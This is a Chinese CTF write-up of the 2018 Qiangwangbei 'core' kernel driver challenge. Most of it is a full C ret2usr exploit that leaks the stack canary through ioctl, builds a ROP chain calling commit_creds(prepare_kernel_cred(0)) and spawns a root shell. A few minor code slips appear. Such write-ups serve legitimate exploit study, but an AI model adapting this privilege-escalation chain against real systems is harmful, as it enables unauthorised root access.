题目 题目是强网杯2018的core,典型的驱动漏洞,题目可以在网上找到,这里采用了ret2usr的解法
附上exp,应该还是很好懂的,代码里也都写了注释
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ,vmlinux_base = 0 ,vmlinux_offset = 0 ; size_t user_cs, user_ss, user_rflags, user_sp;void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); } void lpe() { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); } void spawn_root_shell() { system("/bin/sh" ); } void find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); } } if (!prepare_kernel_cred & !commit_creds) { puts ("[*]Error!" ); exit (0 ); } } void main(void ) { find_symbols(); vmlinux_offset = vmlinux_base-raw_vmlinux_base; save_status(); int fd = open("/proc/core" ,O_RDWR); ioctl(fd, 0x6677889C , 0x40 ); size_t user_buf[8 ]; ioctl(fd,0x6677889B ,user_buf); size_t canary = user_buf[0 ]; size_t rop[19 ] = {0 }; rop[8 ] = canary; rop[9 ] = 0 ; rop[10 ] = (size_t )lpe; rop[11 ] = 0xffffffff81a012da + vmlinux_offset; rop[12 ] = 0 ; rop[13 ] = 0xffffffff81050ac2 + vmlinux_offset; rop[14 ] = (size_t )spawn_root_shell; rop[15 ] = user_cs; rop[16 ] = user_rflags; rop[17 ] = user_sp; rop[18 ] = user_ss; write(fd,rop,152 ); ioctl(fd,0x6677889A ,0xffffffffffff0098 ); }
简单聊聊 这里使用ret2usr会比较简单,当然直接在内核栈上构造rop来调用commit_creds
&& prepare_kernel_cred
也是可以的,只不过比较复杂,在没开启smap/smep
的情况下就偷个懒了hh